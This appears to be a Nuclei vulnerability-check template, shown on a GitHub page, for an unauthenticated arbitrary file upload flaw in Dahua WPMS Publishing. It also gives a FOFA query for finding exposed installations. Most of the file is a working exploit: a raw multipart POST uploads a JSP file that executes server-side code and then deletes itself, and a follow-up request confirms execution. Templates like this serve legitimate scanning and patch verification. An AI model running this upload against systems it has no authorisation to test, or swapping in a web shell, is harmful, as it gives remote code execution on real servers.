-
Notifications
You must be signed in to change notification settings - Fork 1
/
dahua-publishing-fileupload.yaml
63 lines (52 loc) · 1.86 KB
/
dahua-publishing-fileupload.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
id: dahua-wpms-publishing-fileupload
info:
name: Dahua WPMS - Arbitrary File Upload
author: Co5mos
severity: critical
description: Dahua WPMS Publishing arbitrary file upload vulnerability.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-434
metadata:
max-request: 2
fofa-query: app="dahua-智慧园区综合管理平台"
tags: dahua,fileupload
variables:
filename: '{{rand_base(6)}}.jsp'
http:
- raw:
- |
POST /publishing/publishing/material/file/video HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,im age/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: multipart/form-data; boundary=25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85
Accept-Encoding: gzip, deflate
Connection: close
--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85
Content-Disposition: form-data; name="Filedata"; filename="{{filename}}"
<% out.print(1111*2222);new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85--
--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85
Content-Disposition: form-data; name="Submit"
--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85--
- |
GET /publishingImg/VIDEO/{{uploadfile}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: body
group: 1
name: uploadfile
regex:
- 'VIDEO/(\d+\.jsp)'
internal: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '2468642'
- type: status
status:
- 200